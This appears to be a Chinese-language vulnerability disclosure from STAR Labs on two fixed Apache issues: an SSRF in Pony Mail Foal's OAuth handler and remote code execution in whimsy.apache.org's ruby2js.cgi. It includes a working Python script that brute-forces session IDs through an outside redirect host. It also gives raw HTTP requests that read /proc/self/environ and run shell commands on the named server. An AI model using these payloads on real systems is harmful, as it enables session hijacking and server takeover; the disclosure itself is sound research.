漏洞分析:Apache中被遗忘的安全隐患
在2024年的安全研究中,我们发现了Apache基金会项目中的几个漏洞,这些漏洞在我们的漏洞报告和CVE分配过程中似乎"迷失在翻译中"。尽管这些发现已被Apache修复,但它们仍然属于那种真实存在但未获得CVE编号的特殊漏洞类别。
漏洞一:Apache Pony Mail Foal中的服务器端请求伪造
概述
Apache Pony Mail Foal存在盲服务器端请求伪造漏洞,允许攻击者向服务器发送有限的精心构造请求,可能导致未经授权访问内部资源。
产品概述
Apache Pony Mail Foal是一个基于网络的邮件归档浏览器,能够扩展到数百万封归档邮件,支持每秒数百次请求。它使用OAuth2进行身份验证,并使用ElasticSearch进行存储和搜索。
技术细节
OAuth2端点允许用户在oauth_token参数中指定任意URL,包括通常无法公开访问的内部URL。攻击者可以利用此功能向内部URL发送有限的精心构造POST请求,如果提供了触发重定向的URL,还可以发送GET请求。
易受攻击的代码位于server/plugins/oauthGeneric.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
async def process(
server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:
debug(server, f"oauth/indata: {indata}")
key = indata.get("key", "")
state = indata.get("state")
code = indata.get("code")
id_token = indata.get("id_token")
oauth_token = indata.get("oauth_token")
rv: typing.Optional[dict] = None
# Google OAuth - currently fetches email address only
if key == "google" and id_token and server.config.oauth.google_client_id:
rv = await plugins.oauthGoogle.process(indata, session, server)
# GitHub OAuth - Fetches name and email
elif key == "github" and code and server.config.oauth.github_client_id:
rv = await plugins.oauthGithub.process(indata, session, server)
# Generic OAuth handler, only one we support for now. Works with ASF OAuth.
elif state and code and oauth_token:
rv = await plugins.oauthGeneric.process(indata, session, server)
if rv:
# [...]
return {"okay": False, "message": "Could not process OAuth login!"}
|
在server/plugins/oauthGeneric.py
中的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
# Extract domain, allowing for :port
# Does not handle user/password prefix etc
m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
if m:
oauth_domain = m.group(1)
headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
# This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
js = await rv.json() # [1]
js["oauth_domain"] = oauth_domain
return js
return None
|
概念验证
我们的概念验证假设在localhost:9200有一个Elasticsearch服务器,仅可从运行Pony Mail的服务器访问,并用于存储包括会话标识符在内的数据。
利用脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
import requests
def exfil(session_id, target):
ORIG_POST_DATA = {
"key": "user",
"state": "z",
"code": "z",
"oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
}
POST_URL = "/api/oauth.json"
POST_DATA = ORIG_POST_DATA.copy()
POST_DATA["oauth_token"] = POST_DATA["oauth_token"].replace("__INJECTION__", session_id)
res = requests.post(target + POST_URL, json=POST_DATA)
if res.status_code == 500:
return False
return True
def main():
TARGET = "http://localhost:1080"
session_id = ""
for i in range(36):
for c in "0123456789abcdef-":
if exfil(session_id + c, TARGET):
session_id += c
print("Session ID: " + session_id)
break
if __name__ == "__main__":
main()
|
建议缓解措施
遵循推荐指南防止OAuth端点向内部URL/IP地址发出请求:OWASP SSRF预防指南
漏洞二:whimsy.apache.org上的远程代码执行
概述
whimsy.apache.org/ruby2js.cgi允许用户指定配置文件的路径,该文件应是一个将由instance_eval评估的ruby脚本。攻击者能够通过指定/proc/self/environ作为配置文件在服务器上执行任意ruby代码。
技术细节
ruby2js.cgi文件可以在whimsy源代码仓库中找到:
1
2
3
4
|
#!/usr/bin/env ruby
Dir.chdir "/srv/git/ruby2js/demo"
$:.unshift '/srv/git/ruby2js/lib'
load "./ruby2js.rb"
|
它加载ruby2js.rb,该文件来自此项目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# File: ruby2js/demo/ruby2js.rb
# L34-L45
env['QUERY_STRING'].to_s.split('&').each do |opt|
key, value = opt.split('=', 2)
if key == 'ruby'
@ruby = CGI.unescape(value)
elsif key == 'filter'
selected = CGI.unescape(value).split(',')
elsif value
ARGV.push("--#{key}=#{CGI.unescape(value)}") # [1]
else
ARGV.push("--#{key}")
end
end
# L53-L162
require 'optparse'
opts = OptionParser.new
opts.on('-C', '--config [FILE]', "configuration file to use (default is config/ruby2js.rb)") {|filename|
options[:config_file] = filename
}
opts.parse! # [2]
# L643
converted = Ruby2JS.convert(@ruby, options) # [3]
|
在[1]处,脚本将QUERY_STRING转换为ARGV数组,然后在[2]处使用optparse类解析ARGV。用户能够从查询参数config=/path/to/file或C=/path/to.file设置options[:config_file]。
在[3]处,使用解析后的选项调用Ruby2JS.convert。
1
2
3
4
5
6
7
8
9
|
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js.rb#L261-L263
if options[:config_file]
options = ConfigurationDSL.load_from_file(options[:config_file], options).to_h # [4]
end
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js/configuration_dsl.rb#L3-L5
def self.load_from_file(config_file, options = {})
new(options).tap { _1.instance_eval(File.read(config_file), config_file, 1) } # [5]
end
|
最终,config_file由instance_eval评估。
概念验证
File.read("/etc/hosts")
1
|
https://whimsy.apache.org/ruby2js.cgi/;puts%22%22;puts%20File.read(%22/etc/hosts%22);exit;?config=/proc/self/environ
|
File.read("/proc/self/environ")
请求:
1
2
3
4
5
6
7
8
9
10
|
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20File.read("/proc/self/environ");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":""}
|
Dir[’/srv/*']
请求:
1
2
3
4
5
6
7
8
9
10
|
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20Dir['/srv/*'];exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 24
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":"42","ast":true}
|
IO.read("|id;whoami;ifconfig;ip addr")
请求:
1
2
3
4
5
6
7
8
9
10
|
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20IO.read("|id;whoami;ifconfig;ip%20addr");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":""}
|
修复建议
- 移除ruby2js.cgi,或添加LDAP基本身份验证(如/members和/secretary中实现的)
- 由于在测试期间成功泄露了/srv/ldap.txt中的秘密,请使/srv/ldap.txt中存储的所有秘密值失效并轮换,以防止在传输过程中泄露任何秘密值的可能性
- 检查Web日志以查找任何潜在的先前利用尝试
致谢
STAR Labs SG Pte. Ltd.的Li Jiantao (@CurseRed)和Devesh Logendran (@starlabs_sg)